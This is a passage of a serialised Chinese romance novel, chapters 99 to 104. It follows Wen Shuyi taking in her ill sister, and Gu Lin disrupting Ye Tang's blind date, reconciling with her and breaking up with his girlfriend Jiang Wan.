“你觉得周贺正会要我的感谢?”温疏亦拉过安全带,系好,淡淡地说,“要感谢,也得你自己感谢,我感谢得着吗?我是你什么人啊。” 第99章 我还没习惯,身边多个男人 盛珽妄刚要动唇说,你是我老婆这句话。 温疏亦抬手让他打住。 “结婚证呢,是你背着我领的,不算数,我们现在最多算是……男女朋友,表现得好呢,我兴许就接受我们结婚的事实,表现得不好,你随时可以出局,明白?” 盛珽妄被拿捏了。 这天底下,还有这样的道理? 那结婚证存在的意义在哪儿? “我可以好好表现,但你是我老婆,这是事实,你不能总跟一直跟我分床睡吧?这分床睡,我要如何表现我爱你呢?” 温疏亦震惊了。 好好表现,是要在床上好好表现的意思吗? 她耳根赤红,瞥过视线,“果然,男人想的,跟女人不一样。” “你同意了?”他歪着头问她。 温疏亦没正面回答。 指了指车子前方,“回家,吃饭,饿了。” “好。”盛珽妄当她同意了。 车子刚进了别墅的草坪。 王婶就着急忙慌地跑了过来,“三爷,有人来找小温,说是她妹妹。” 温疏亦:……妹妹? “我妹妹,还是他妹妹?” 王婶指了指温疏亦,“说是你妹妹,叫温,温什么夏。” 温疏亦恍然。 温思夏。 这么多年,温家人从来没有联系过她。 怎么突然找上门来了? 温疏亦在心里打了个问号。 …… 看到温疏亦走进客厅。 温思夏便站了起来。 “姐。” 温疏亦错愕的不止是温思夏过来找她。 而她的状态,并不算是很好。 之前听李穗安提过,温思夏的男人得了艾滋病,并传染给了她。 不知道,真假。 “你……怎么瘦成这样了?钱家不给你饭吃啊?” 温思夏眼眶一热,哭了,“我和他离婚了。” “为什么离婚?”温疏亦问。 温思夏不知道该如何说起,“他这个人爱在外面搞,传染了我一身的脏病,那时我正怀着孕,孩子没有保住,后来身体越来越不好,他们便将我扫地出门了。” 钱家人将温思夏扫地出门。 是完全没有将温家人看在眼里。 倒也是。 之前钱家娶温思夏,也不过是看中了温家的门楣。 温家人都到国外定居后。 在国内的影响也没有之前那样给力。 温思夏便变得可有可无了。 但温思夏来找她,她确实没有想到,“你们离婚了,你应该去国外投奔你的爸爸妈妈,怎么会来找我?” “爸妈在那边的日子,也不好过,姐,我现在走投无路了,只能来找你。” 温思夏这副病怏怏的样子。 看起来着实是可怜。 温疏亦和温思夏的感情,没多么好,但也没多么差。 既然找上门来了。 她没有不管的道理。 “我先给你安排个身体检查吧,要是有病,就先把病治一下,余下的以后再说。” 这里毕竟是盛珽妄的家。 她需要征求盛珽妄的意见。 “盛珽妄,如果可以的话,给温思夏安排个房间吧,她现在这种情况……”她想说,如果不同意的话,她可以给温思夏去外面,租个房子,“……没关系,这是你的家,你有决定的权利。” “让王婶把一楼的客房收拾一下。” 他不会拒绝。 不管温家之前做过什么。 他们到底是把温疏亦养大了。 温疏亦对温思夏有姐妹情,他没必要去做个恶人。 “谢谢三爷。”温思夏冲盛珽妄,深深地鞠了一躬。 温疏亦看着温思夏这副模样,心里很不是滋味。 走过去说,“你先洗个澡睡一觉,明天我带你去医院。” “姐,谢谢你。” 温思夏哭了。 温疏亦的眼眶也跟着泛起了红。 安顿好温思夏。 温疏亦觉得,有必要再跟盛珽妄沟通一下。 “谢谢你,暂时让她借住在这儿,等给她检查完身体,我会尽快帮她在外面租个房子的。” 盛珽妄看向温疏亦,笑了,“跟我这么客气干什么?” “这毕竟是你的家啊。” “我的家,不是你的家?”她总是把已经领证这事给忘了,“这房子是我们领证后买的,有你的一半,不必事事问我,只要你做出的决定,我都没有意见。” “那倒也不必,我没想过跟你平分你的财产……温思夏这次来,我是真的没有想到,我一度以为,我和温家的情已经断了。” 温疏亦挺伤感的。 温家把她养大,可也是害死她亲生父母的帮凶。 情感上复杂。 但这与温思夏无关。 那时她比自己还小几岁。 都是什么都不懂的孩子。 盛珽妄不希望,她为了这事烦恼,“我跟顾临说一声,明天你直接带她去检查一下身体,我看她这样子,怕不是得了什么不好的病了。” 温疏亦也是怕这个。 “谢谢你。” “老跟我这么客气,哪里像两口子。”他抬手握住她的腰,将她摁在自己的大腿上,“我无条件尊重你,你可以在这个家里横着走的,咱们家,你是老大。” “可别。”她才没那么,没自知之明。 “真的。”他可以将一切给她,只要她可以跟他睡一张床,“只要你不冷落我,别跟我有距离感,我们的日子,指定会越过越好的。” “我还没习惯,身边多个男人。” 不是她矫情。 她这次不仅接受要和盛珽妄肉体上的关系。 更要接受,他们本质上关系的变化。 老公? 老婆? 她真的还没有做好准备。 “睡多了,就习惯了,放心,我不折腾你。”他抱着她,一下下地亲吻着她的脖子,搞得她痒得厉害,“盛珽妄你……唔……” 他吻住她的唇。 堵住她所有的拒绝。 温疏亦没拗过他。 搬去了他的房间。 可他说话不算话,折腾了她一晚上。 以至于,早上差一点没起来。 “我送你们去医院,顺便跟顾临交代一下。”盛珽妄神清气爽,不像温疏亦,萎靡不振。 温疏亦点头,“行吧。” 到达医院后。 盛珽妄跟顾临说了会儿话。 顾临便让护士,带着温疏亦和温思夏去检查身体。 两个男人在外面抽了根烟。 “这个温思夏什么情况?”顾临问。 “说是跟钱家那位离婚了,一身的病,走投无路,找上了温疏亦。” 以盛珽妄对人的敏锐观察力。 并不认为,温思夏这个时候出现,真的是因为走投无路。 顾临吸了口烟,“你认为呢?她找上温疏亦是……带着阴谋?” “温疏亦与温家已经很多年没联系了,怎么这个节骨眼上,就找上门来了?”盛珽妄不相信。 顾临点头,“那你觉得,温思夏会有什么阴谋?她嫁到钱家后,一直就是全职太太,应该是个单纯的人吧。” “所以……”盛珽妄给了顾临一个眼神,“……单纯的人,向来容易被人威胁和利用,不是吗?” 第100章 太装了 顾临立马明白了。 是钱家。 这钱家消息够灵通的。 知道温疏亦和盛珽妄现在关系稳定,立马就有动作。 “那这个温思夏,还挺可悲的。” “现在温家失势,温家人在国外不敢回来,温思夏又没养自己的能力,钱家那位少爷在外面,沾花惹草的,也不敢说什么,离婚是假,但被离婚威胁,应该是真的。” 顾临对那位钱家少爷不太了解。 但他们顾家,跟钱家有一些生意上的往来,他倒是知道。 “那你得好好看着点,别让温疏亦上了她的套。” “嗯。” …… 温疏亦陪着温思夏做了全身的检查。 结果很快出来了。 除了营养不良,身上有一些淤青外。 倒是没有染上艾滋这么严重的病,但是性病一样没落。 需要系统的治疗。 她帮温思夏办理了住院手续。 安抚了她几句,“好好把病治好,把身体养好,到时候找个班上,最起码自己可以养活自己。” “姐。”温思夏握着温疏亦的手,眼眶透红,“我真有没有想到,你会收留我,还会帮我治病,谢谢你,真的谢谢你。” “虽然从小到大,咱们两个的感情一般,但好歹是一起长大的,你找上我了,我怎么能坐视不管。” “姐……” 温思夏哭了。 有一些真心的情谊在里面。 温疏亦拍了拍她的背:“别哭了,治疗的费用你不用担心,这次把病治好了,以后好好生活。” “知道了姐。” 安顿好温思夏。 温疏亦走出了病房。 刚好盛珽妄走了过来,“都安排好了?” “嗯,她身上的病比较多,需要系统的治疗。”温疏亦脸色忧郁,透出担心,“也不知道,能不能彻底治好。” “会的,别担心。” 温疏亦看了眼时间,“我得去上班了,叶总今天要去参加相亲会,估计得加班了。” “那我送你去公司?” “不用了,我先走了。” 温疏亦急匆匆地离开了医院。 盛珽妄离开医院时,刚好顾临下了夜班。 “好久没上夜班了,倒是有一种久违的充实感。”顾临抻了抻腰,问盛珽妄,“要不要找个地方喝点?” “大清早的,谁会喝酒。”盛珽妄淡淡的扫了顾临一眼,“我听疏亦说,今天她们工作室有相亲会,叶棠去了,说是高端局,说不定她能找到适合的人。” “什么?” 叶棠去相亲? 那宋复礼呢? “她不是要和宋复礼结婚了吗?又去相亲?她是不是脑子有问题?” “她和宋复礼的事情,是个误会。”盛珽妄抽了根烟,扔给顾临,“那天,我和宋复礼浅聊了一下他与叶棠的关系,他们算是……好朋友吧。” “好朋友?”明明告诉他,叶棠和宋复礼要结婚的是盛珽妄,假消息吗?“你在玩我呢吧?不是你说的……” “一场误会。”盛珽妄耸肩。 “你够轻描淡写的。”顾临一把勾起盛珽妄的肩,“既然是高端局,那咱们也去瞧瞧?” “瞧什么?我是有老……”婆的人,还没说完,就被顾临拽上了车子。 相亲会档次极高,必须有专属入场券才能进入。 顾临没有。 盛珽妄也没有。 “没票,进不去。”盛珽妄笑得幸灾乐祸,看顾临吃瘪的模样,比看这场相亲会本身,似乎更有趣。 顾临瞥他一眼,转身打了个电话。 钞能力从不会让人失望。 不到十分钟,两张烫金暗纹的邀请函就送到了他手里。 “呦喝,顾医生还下血本了?”盛珽妄笑得见牙不见眼。 顾临啧,“快走吧你,废话真多。” 厚重的鎏金大门,被门侍打开。 扑面而来的,是精心调配过的香氛味。 会场布置得极其奢华,水晶吊灯璀璨,长桌上铺着象牙白的绸缎,银质餐具与琉璃杯盏交错生光,宛如一场浮华的名利场预演。 女士们穿着高定礼服。 她们姿态优雅,眼神却像探照灯,不着痕迹地扫过在场每一个男人,仿佛在评估一件件会行走的资产。 男人们则松弛得多,或跟熟人谈笑,或端着酒杯漫步在人群中,目光挑剔的,像是在挑选货架上最匹配自己身份的那件奢侈品。 “这种地方,还能找到好男人?”顾临嗤笑,语气里满是毫不掩饰的鄙夷。 盛珽妄却见怪不怪,“相亲不就是各取所需?男人看脸,女人看钱。既然来了,你也挑挑。” 盛珽妄用胳膊碰了碰他。 顾临漫不经心地环视一圈,眉头皱紧:“哪儿有好的?一个个粉厚得能刷墙,空气里全是脂粉味,呛得人头疼。” 心头不知道为何,突然窜起一股烦躁。 叶棠呢? 她不会是跟哪个男人,躲起来了吧? “怎么就没有好的了?”盛珽妄忽然抬了抬下巴,眼神往落地窗边的角落一瞟,“人家叶棠不就找到了合眼缘的了?” 顾临立刻循着方向望去。 叶棠穿了一件,珍珠白的连衣裙,看起来比实际年龄要小很多。 她举止优雅,谈吐得体。 正与对面那位,着浅灰色西装的男人聊着什么。 看起来很投机。 男人微微倾身听着她说话。 叶棠则眉眼弯弯,是顾临许久未见的、松弛到惑人心魄的笑。 “笑得那么不值钱,”他不知道在气什么,话说得极为难听,“是没见过男人?” 盛珽妄“嘶”地吸了口气:“你这话说的,相亲不笑,难道哭丧着脸?” “那男的看着就一般。” 顾临的视线钉在对方身上,挑剔地扫过他的身形,发型,甚至到西装的做工,“混到要来这种地方相亲,能是什么好货?她眼光什么时候差成这样了?” 他越说越躁,心底那点不知道什么时候,蹿上来的火苗,烧得他难受。 盛珽妄没接话,只是笑着,将杯中的香槟一饮而尽。 顾临仍盯着那个方向。 他看着叶棠抬手将碎发别到耳后,然后拿出手机,与对方互加了好友。 “你看她,还加人好友了?她就不怕遇到骗子?” 盛珽妄无奈摇头,“你要是担心,现在大可以过去,将她带走,你在这儿叽叽歪歪的,她是能听到,还是能看到?” “我?”他没好气地指了指自己,“我有那么闲吗?” “那你来的目的,又不是相亲,又不带叶棠走,你到底想干什么?”盛珽妄不想揭穿他的,但顾临最近太装了,“装逼的下场,可能会很惨,你……” 话没说完。 盛珽妄就看到顾临大步的走到了,叶棠相亲的那张桌前。 “不回家看孩子,还跑到这儿来相亲,是当你男人死了吗?叶棠,你这个没良心的女人,婚还没离呢,你就开始找下家了?” 顾临大放噘词。 对面的男人吓到了,生气道,“你,你结婚了?那你来相的什么亲,真是的。” 第101章 跳火坑,还是跳悬崖,都与你无关 男人脸色透出难堪。 连个招呼都没有打,转身走了。 顾临嘴角勾起一抹毫不掩饰的得逞。 叶棠漂亮的小脸,瞬间沉了下来。 她抓起手边的香奈儿包,不顾形象地,朝顾临身上砸去。 “你有病啊?你在胡说八道什么?” 她压着声音,小脸因为恼怒泛起薄红。 顾临不躲不闪,任由那不算重的包砸在自己手臂上,反而笑得更加气定神闲。 他甚至还慢条斯理地整理了一下,被包包砸到的袖扣。 像一个优雅的上位者。 “我这不是看你当局者迷,好心替你‘筛’掉不合格选项么。”他挑了挑眉,不知死活地说,“至于我具体说了什么……那些细枝末节,你忽略就好。” “你替我‘筛选’?你是谁啊?你要不要脸啊,谁要你多管闲事!”叶棠气得,反手又用包打了他两下,这次力道更重了些,“我眼光差不差,看中什么人,跟你有一毛钱关系吗?顾临,我看你就是神经病!存心来搅局的!” 叶棠的声音,终是引来了周围好奇的目光。 顾临淡然,垂眸看着眼前炸毛的叶棠。 她生气的样子,比刚才对着那个陌生男人假笑的模样,生动顺眼多了。 “怎么没关系?”他忽然往前凑近半步,声音压低,带着几分只有两人能懂的意味,“好歹认识这么多年,看你往火坑里跳,我能袖手旁观?” 叶棠瞪圆了眼睛,攥着包带的手指收紧,“我是跳火坑,还是跳悬崖,都与你无关。” 叶棠走了。 高跟鞋踩在大理石地面上,都听得出来怒意。 盛珽妄用手肘碰顾临,朝门口努了努嘴:“愣着干嘛?赶紧追啊。” “你看她,这么多年了,还是这副一点就着的脾气。”顾临嘴上抱怨着,脚却已不受控地迈了出去,“我明明是好心,她当成驴肝肺了还……哎,叶棠!叶棠你等等!” 顾临追出宴会厅,恰好看到叶棠拉开车门。 他快步上前,拉开车门跳上了副驾驶。 “我说你这脾气能不能改改?”顾临侧过身,试图讲理,“我好心好意帮你鉴别渣男,你不领情也就算了,还动手……动手也就算了,至于自己生这么大的气吗?你说你这个人……” 话说到一半,他忽然顿住了。 叶棠的眼圈泛红,水光在她眼睛里打着转,被她死死忍着。 倔强,又委屈。 妈的。 他竟然心疼了,她这副泫然欲泣的模样。 后面那些理直气壮的说教,突然就寡淡无味了。 “行行行,”顾临的声音不自觉地放软了些,“你不领情就不领情吧,我无所谓。我就是觉得……那男的太假了,装得人模狗样,手上那块表应该是高仿的,门票说不定都花光了他半年的工资。我是怕你……看走眼,吃亏。” “下车。”叶棠的声音冷着。 顾临非但没动,反而把安全带扯过来系上了。 “我今天是打车来的,”他调整了一下坐姿,找了个更舒服的角度窝进座椅里,开始睁眼说瞎话,“这地方偏,不好叫车。你好人做到底,送我一程。” “我们不顺路。”叶棠拒绝。 “那也行,”顾临阖上了眼,声音里透出浓浓的妥协,“那我送你一程。赶紧开车吧,我昨晚熬了个通宵,困得不行了。” 顾临虽然有傲劲。 但脸皮厚起来的时候,是真的无敌。 叶棠最终,还是没能将他赶下车。 顾临仿佛真的睡着了,车内静得落针可闻。 叶棠不知道顾临在哪儿住。 中途问过他。 他也不吱声。 叶棠想着回家洗个澡换衣服后,还得去公司上班。 便将车开回了自己的小区。 也是奇了怪了。 车子在停车位上刚停下,顾临就醒了。 “到家了?” “到我家了,你赶紧回去吧。” 叶棠气消了一半。 她锁好车后,快步往电梯间走。 顾临慢悠悠地跟上她的脚步,在电梯门要关的刹那,将自己挤了进去。 叶棠没好气地瞪着他,“你上来干什么?我要回家,我的家不欢迎你。” “我家里刚好装修,我来你这儿,睡一会儿,你不会拒绝一个,刚刚帮助你鉴别渣男的老朋友吧?你那么善良。” 顾临一副阴阳怪气的腔调。 叶棠无语地扫了他一眼,便收回了视线。 电梯上行。 突然头顶的灯,闪了一下。 紧接着就轿厢里发出的咔哒咔哒的声音。 叶棠迅速将全部的电梯楼层的按钮,全部摁亮。 “啪”、 电梯里的灯全部灭了。 电梯也跟着停了。 黑暗和逼仄的空间,带来了前所未有的紧张和恐慌。 “啊……”叶棠抱头蹲了下去。 电梯里的救援按钮,根本无人接听。 顾临急忙拿出手机,想拨打救援电话,没信号。 “没事,别怕。”顾临将叶棠抱住,左手举着手机,希望能有微弱的信号,让他打急救电话。 “顾临,我们会死吗?” 她不是怕死。 她是觉得她现在还不是死的时候。 “我还没有活够呢。” 叶棠哭了,脆弱的像只小兔子。 顾临将手机上的手电筒打开,抬手擦了擦叶棠脸上的泪,“电梯应该是检修不及时,有地方卡住了,等有人发现了,就会找人来救我们的,死不了。” “万一死了呢?”她满眼是泪地望向他。 顾临蹙眉:“你这是想说遗言?” “顾临,都这种情况了,你能不能别说这么丧气的话?” “好,好,好,我不说,我错了。”他以前和叶棠也遇到过电梯出问题。 那是学校里图书馆的电梯。 就像现在这样,灯灭,电梯吱吱呦呦的,不禁令人想到那些电影里的场景。 不是这样死,就是那样死。 那时的叶棠比现在还胆小。 哭得上气不接下气,一个劲地说自己不想死。 等到救援来的时候,才发现,其实他们的电梯已经稳稳地停在了一层。 挺好笑的。 “你还笑?顾临,你这没心没肺的样子,跟十年前一模一样,真的很令人讨厌。” 顾临还是笑。 她发火的样子,跟十年前也是一模一样的可爱。 糟糕。 他竟然用了可爱形容叶棠。 他可真是不长记性。 “我说你,是不是过于敏感了,现在电梯的构造,根本不可能从三十层,坠到一层,你就安稳一点,等着别人来救我们,不行吗?” 第102章 除了会甩籽,一无是处 “我害怕也不行吗?” 叶棠推开顾临,抱着自己,紧紧地靠在电梯的角落里。 男人不可靠。 除了会甩籽,一无是处。 “我错了,我错了。”顾临伸手去抱叶棠,被她狠狠地推开,“你离我远一点,行不行?我就知道,当初跟你分手分对了。” 顾临气闷,“我都道歉了,你为什么非得这样呢?” 顾临情绪也有一些上头。 不哄了。 两个人,在电梯里,一左一右,谁都不理谁。 差不多半个小时,物业便带着救援过来将电梯门打开了。 “不好意思,电梯出了故障,你们……没事吧?” 物业经理,点头哈腰地道着歉。 叶棠起身,顾临扶了一把,被她甩开,转头对物业经理说,“没事是没事,不过,电梯该检修还是要及时检修的,这要是困住小孩子,是要出大问题的。” “你说的是,以后我们会及时检修电梯的,不会再出现类似的问题。” 叶棠走出电梯。 往上又走了两层,这才来到自己的家。 “还生气啊?”他站在她身侧问。 叶棠输入密码,走进去,转身关门,被顾临抬手挡住,“干嘛呀?” “顾临,我们现在没有任何关系,我的家不欢迎你,请你离开。” 叶棠用尽毕生的素质,才没有把脏话骂出口。 顾临抿紧了唇,稍一用力,就将门推开了,“你的家?这家是谁给你买的?” 他是有一些气在身上的。 即便刚刚推门的动作,令叶棠有一些踉跄。 他也完全没有在意。 叶棠转身走进屋里,直接去了卧室,拿出一个红色的房产证。 “有时间,去过户吧。”她将证甩到了顾临的身上。 既然和好绝无可能。 她也想图个清静。 一段感情结束,就永远不可能复合。 她接受了。 “好硬气啊。”顾临将房产证,直接丢了出去,“参加了一场相亲,见到了太多的牛鬼蛇神,是不是觉得自己又可以了?” “可以什么?”她抬眸,很是愤怒地看向他,“顾临,我们开诚布公的谈清楚吧。” “谈吧。” 他抬起下巴,直接一屁股坐了下去。 像一个不要脸的甲方。 “我承认,我回国是想跟你复合的,既然你也没有这个意思,既然你也已经有了要共度一生的女朋友,那我就死心了,咱们两个没必要纠缠,好聚好散,十年前没有把财产分明白,现在也不晚。” 叶棠又回房,抱出一个纸箱。 里面是各种颜色的锦盒。 “除了这个房子,还有这些……当年我们恋爱时,送给我的礼物,我都还给你,以后两不相欠,别说谁对不起谁,我们谁都不是好东西。” 顾临:…… 他蹙紧眉心,气得咬牙,“只有这些东西吗?当年你妈的治疗费,给你爸还债,供你弟弟读书,你欠我的多了去了,要不要,一起算算。” “可以。”她很淡然。 说了要还。 自然是什么都在内,“你说个数吧。” “我说个数。”他指尖抓了一下沙发,起身走到叶棠的面前,咄咄地将她逼到墙角,“你现在有钱了,觉得可以跟我清账了是不是?” “顾医生明明就是要结婚的人了,难道你不希望自己往后余生,我这个前女友不会再出现吗?” 以前,顾临确实帮了她很多很多。 顾临的家庭条件很好。 比市面上那些招摇的富二代,身份还要矜贵。 她也是跟他恋爱以后才知道的。 但她从未觉得低他一等。 爱情是在相互尊重,相互不嫌弃的基础上进行的。 当初的热烈和真挚不是假的。 现在清算,也算是走个正常程序。 “你还给我买过一些衣服,我可以折价给你,说个数吧顾医生。” 她小脸倔强。 有女强人的淡定。 也有一些小女人的较真。 “想跟我两清,你……”他偏过脸,将唇递到她的耳边,“……想得美。” “这又是何必呢。” 叶棠轻笑。 她知道顾临爱玩。 但这场爱情的游戏,已经结束了。 再玩下去,只会让彼此很难堪,“你不为自己想,也得为姜晚想一想,她很单纯,是那样的中意你,满心满眼的,都在等着嫁给你,你又不是一个不负责任的性子,何必说这些呢?” “你在提醒我?”他不喜欢听这个。 叶棠点头,“当然,既然你是明确拒绝了我想和好的意愿,又有了女朋友,我们两个之间就要划分得清清楚楚,免得到时你老婆知道这些事情,跟我纠缠不清,我很烦的。” 顾临低笑。 老婆? “还真是难为你,件件,事事,都在替我着想。”他的大掌握成拳头,重重地砸在她脑袋旁的墙面上,随后握住她尖美的下巴,“那不如,把你欠我的情,也一起还给我吧。” “我欠你的情?”叶棠勾起唇,扬起少见的妩媚,勾住了顾临的衣扣,讥诮地笑了,“你没欠我的情?谈恋爱双方都在付出,不是谁亏欠谁的,你装什么大尾巴狼呢。” “我付出得多。”顾临的唇差一点就吻上去。 叶棠偏过脸,轻笑,“你付出的多?我付出的就少?顾临,别玩这一套,咱两个半斤八两的,谁也玩不了谁的。” 他捏着她的下巴,强行将她的脸掰过来。 叶棠是了解他的。 可她不知道,这十年,他忍着不联系她,忍得有多煎熬。 很多个日日夜夜,他都得靠药物才能睡着。 “叶棠,我想问问你,你离开的这十年,有没有想过我,我想听实话。” 顾临突然变得认真。 叶棠的心莫名滞了一下。 她很想撒谎。 但又觉得没必要撒谎。 “想过。”她异常平静。 顾临唇角颤着,又问,“那为什么一条消息,也不给我发?哪怕你给我发一个字,我也会奋不顾身地去找你,原谅你离开我这件事情,为什么?为什么不理我?” “你会吗?”她眼眶红了。 如果他会的话。 当初他就会跟她一起走的。 她求过他的。 可他拒绝了。 “顾临,如果你足够爱我,我们今天兴许孩子都生两了,你不够爱我的,你承认吧,所以,我成了那个背信弃义的人,我如何再联系你?” “所以,我不跟你一起离开,就是不够爱你,那你足够爱我了吗?如果你足够爱我,你就会留在华城,你也没有不是吗?” 不知道从哪句开始。 坦白局,变成了相互指责。 叶棠笑了。 现在说这些,还有什么意义。 “你爱怎么想怎么想,现在我们讨论这个毫无意义。” 她推开他,拾步时,他又将她拽了回来。 这次没有丝毫的犹豫。 狠狠重重地吻上了她的唇…… 第103章 还爱我吗? 这个吻并不美好。 惨痛的回忆加着复杂的情感。 她发现顾临流泪了。 叶棠从未见顾临哭过。 哪怕是当年,她那样绝决地离开,他留给她的只是一抹悲伤的眼神。 眼泪这种东西。 在这个时候出现。 渲染了一些无法言说的气氛。 叶棠心里不好受。 红着眼,将他推开。 “一个大男人,哭什么哭?” 顾临粗鲁地擦了把眼泪,望住她,“棠棠,我们有必要这么互相折磨吗?彼此给个台阶下不行吗?十年前你弃我而去,十年后,你说句对不起,怎么了?” “我说过顾临,我说了我很抱歉,放弃你我确实后悔了,我想我这一生不会再遇到,像你这样对我好的人了,但是去国外进修,我没有后悔过。” 她丰满了自己的羽毛。 她成立了自己的品牌。 她做到全行业内顶尖的存在。 她有了一家名为海棠的珠宝设计工作室。 她可以年赚千万,甚至上亿。 可她真的不快乐。 所以,她回国了,她想找回那些快乐,找回爱情。 可他拒绝了不是吗? “如果再让你选择一次呢?你是选择我,还是你的事业?”他的唇在颤抖着。 他想知道答案。 他又害怕知道答案。 “顾临,你这样的假设根本不成立,不要再问了。” 叶棠给不了他答案。 就像给不了自己答案是一样的。 十年了。 她不是那个二十出头的小姑娘。 而他,也不是再是那个,肯跟在她身后,为她整理衣服,系围巾的男孩了。 “顾临,我知道你心里有结,既然解不开了,就不要解了,我们就到此为止吧。” 该清清。 该结算的结算。 成为以后不刻意见面,就会一辈子再也无法相见的两个人,其实也没有什么不好的。 “你回答我。” 他坚持要个答案。 噬血的眸子,一瞬不瞬地盯着她的眼睛。 叶棠无法回避。 但真的给不了回答。 如果回到当年,她或许还会做出那样的选择。 而现在功成名就后,她贪婪了。 她想再找回爱情,她希望顾临在原地等她。 她很卑鄙的。 站在的现在的立场上,她真的会选择顾临的爱情。 这是两个相悖的答案。 “别问了。” “这么难吗?” 顾临深呼吸,努力地想让自己的情绪平缓一些,再平缓一些。 可是不行。 “既然给不了答案,我们就用行动来回答。” 他打横抱起她,往卧室里走。 叶棠自然知道他是想干什么。 慌乱的想拒绝,“顾临,你冷静一点,你已经有女朋友了,你不能做……” “在国外有过男人吗?”他将她扔到大床上,脱下外套直接扔到地上,“你可不是一个毫无欲望的女人,想做的时候,你都是怎么解决的?” 叶棠:…… 他在说什么? “我没有想做的时候,我……顾临,你冷静一点。” “我不信你这十年,没有想过我们一起滚床单的感觉。”他将她摁在身下,狠狠地堵住了她的唇。 这个吻并不温柔。 他扯坏了她的衣服。 在她的身上留下很多专属于他的痕迹。 可是还不够。 十年都没有放下的女人,他要一辈子把她捆在身边。 “还爱我吗?”他附在她的颈窝里,喘息着问她。 叶棠回避不了,却又有一些黯然,“爱又怎样,你不是还要娶别人。” “我娶你。” 这话他在心里演练了十年。 他就等着叶棠回头,忏悔,道歉,抱着他说离不开他。 可是叶棠回头了。 他却扭头了。 他想报复她。 报复来报复去的,发现,自己才是被报复得最惨的那一个。 算了。 他认了。 “棠棠,我们结婚吧,好吗?” “就做了一次,就迫不及待的许下承诺,顾临……”她捧着他的脸,很多年了,她都没这么认真仔细地看过他,“……那你是不是和姜晚许下的承诺更多?” “我他妈没睡过她。” 他生气了。 推开叶棠起身去洗澡。 叶棠撇嘴。 扯过一件睡衣套在身上,赤着脚,走到了浴室门口。 顾临有洗澡不关门的习惯。 十年了,还是没有改。 叶棠倚在门框边上,抱怀看向正在洗澡的男人…… 肩宽臀窄细腰,屁股还挺翘的。 一个忙得分不清白天黑夜的医生,竟然还有壮硕的胸肌和层次感十足的腹肌。 真是难得。 顾临身材好得有些过分。 叶棠将他上下打量着。 最后落到了……那上面。 十年了,威力还是不减当年。 她看得脸红了,哪怕是刚刚经历汹涌,依然激起了她内心的渴望。 叶棠暗骂自己没出息。 随意地撩了一下碎发,回归正题地说,“脾气好大啊,没睡过就没睡过,搞得好像我睡过别人似的,你又没吃亏。” 顾临关上淋浴头。 将湿发拢了拢,转头看向叶棠,“你别顾左右而言他的。” “我哪有啊。” 他扯过浴巾围在腰上,顺手拿了条毛巾,将头发胡乱地擦了擦。 丢给了叶棠。 “我就问你,要不要嫁给我?” 叶棠将毛巾拿开,丢到一旁,“我觉得,你还是把你和姜晚的事情,处理干净了,再来讨论这件事情。” “怕什么?”他大手握住她的腰,往身一带,“叶总不是胆小的人啊。” “当然,我现在需要考虑我的公司的影响,考虑我个人的名声,既然你给别的女人承诺了一些事情,那就解决干净,急什么?况且……” 他蹙眉:“况且什么?” “况且……到时再说吧。”她推开他,转身回了大床上,准备睡一觉。“顾临,你一会走的时候,记得给关好门。” …… 顾临上晚班的时候。 姜晚来了。 她亲自下厨做的糖醋排骨和油闷上海青。 她厨艺不错的。 照顾顾临也是尽心。 她很享受这样的状态。 让她感觉,自己像贤妻良母。 “我就知道你今天光睡觉了,肯定没有吃东西,我做好就带过来了,赶紧的趁热吃。” 不仅有好菜,还有米饭和汤。 顾临在姜晚身上挑不出毛病。 只是爱情这种东西。 不是因为对方是个好人,就能发生。 “谢谢,以后不需要给我送饭,我去餐厅吃点就行。” 姜晚笑眼弯弯的,“没关系的,刚好这个时间,我下班了,再说了,我愿意给你做饭,我也愿意照顾你。” “姜晚……”他想跟她坦白,他和叶棠的事情,“……其实我……” “有什么话,吃完再说吧,一会儿菜该凉了。” 第104章 我移情别恋了 姜晚托着腮,目光静静。 她眼睛很漂亮,里面盛满了光,满是喜欢和爱意。 顾临垂着眼,筷子在米饭里拨了两下,终究还是放下了。 他抬起脸,喉结很轻地滚了滚,“姜晚,我有件重要的事要跟你讲。” “嗯,你说。”姜晚唇角弯着。 “我移情别恋了。”顾临顿了顿,“我们分手吧。” 顾临其实在心里,想了很多铺垫。 但出口的话,却直接到伤人。 姜晚脸上的笑凝住。 她眨了眨眼,好像没听懂似的:“……什么恋?顾临,我没听清,你再说一遍?” 顾临别开视线,从口袋里拿出一张黑卡,推到她的手边。 “抱歉,这里面有二百万,算是一点补偿。”他语气很平,却冷得扎人,“你值得更好的,别在我这儿耽误时间了。” 姜晚的唇角很轻地抽搐了一下。 心口漫上的那抹痛。 迅速地席卷了她全身。 眼泪毫无预兆地滚落。 她心心念念追了那么久的男人,好不容易要修成正果了,他说,他移情别恋了。 姜晚看着顾临,目光里没有怨,只有一种近乎卑微的恐慌:“是我哪里做得不够好吗?……你告诉我,我都可以改的。” “别分手……顾临,求你了,别不要我……” 她伸手去拉他的袖子,指尖抖得厉害。 这场恋爱谈得那么的小心翼翼,为什么还是这样的结果? 顾临闭了闭眼。 二选一的题,他不能贪心,也没资格贪心。 “不是你的问题。”他声音沙哑,自责又抱歉,“是我……我无法对你……,姜晚,我这个人挺各路的,我想要的是爱情,可我对你……,姜晚,我这样的浑蛋,不值得你去浪费青春。” “不……不是的……”姜晚摇头,起身扑进他怀里,紧紧抱住他的腰,颤着声,“现在没有也没关系,我可以等……顾临,日久是会生情的,真的会的,我愿意等……你别赶我走,好不好?” 姜晚慌了。 她对顾临的爱慕很深。 她愿意为他做任何事情。 为什么,他还要放弃她。 “不要顾临,真的,是我不好,是我没有让你产生激情,产生欲望,你喜欢什么样的女人,你告诉我,我会改变的,真的,别离开我……” 姜晚的声音透出哽咽。 抱得用力。 不肯撒手。 顾临僵着身子,没有回抱,也没有推开。 低垂的眼底,是沉沉的暗色。 可能是他过于无情和坚定,姜晚怎么求,他都没有松口。 后来。 姜晚还是走了。 哭着离开的。 顾临心中的抱歉,到达了顶峰。 姜晚在这段短暂的恋爱中,没有任何过错,说开始是他,结束的还是他。 他知道自己,在这事上,挺不是玩意的。 没办法。 他无法欺骗自己说不爱叶棠。 他爱叶棠。 他想要她的心情,也是前所未有的。 顾临惆怅了一会儿,准备去查房。 小护士急慌慌地跑过来,跟他说,“温思夏病房里来了个男人,不分青红皂白的就打人,顾医生,你赶紧去看看吧。” “打人?” 顾临起身,往温思夏的病房走。 在医院里打人,这是绝对不允许的。 “打她的人,是什么来头?” 护士摇头,“不太清楚,好像听温思夏叫他老公什么的。” 顾临:……老公? 难道是那个姓钱的小子? 推开病房的门。 刚好钱枫的拳头高高地扬了起来…… 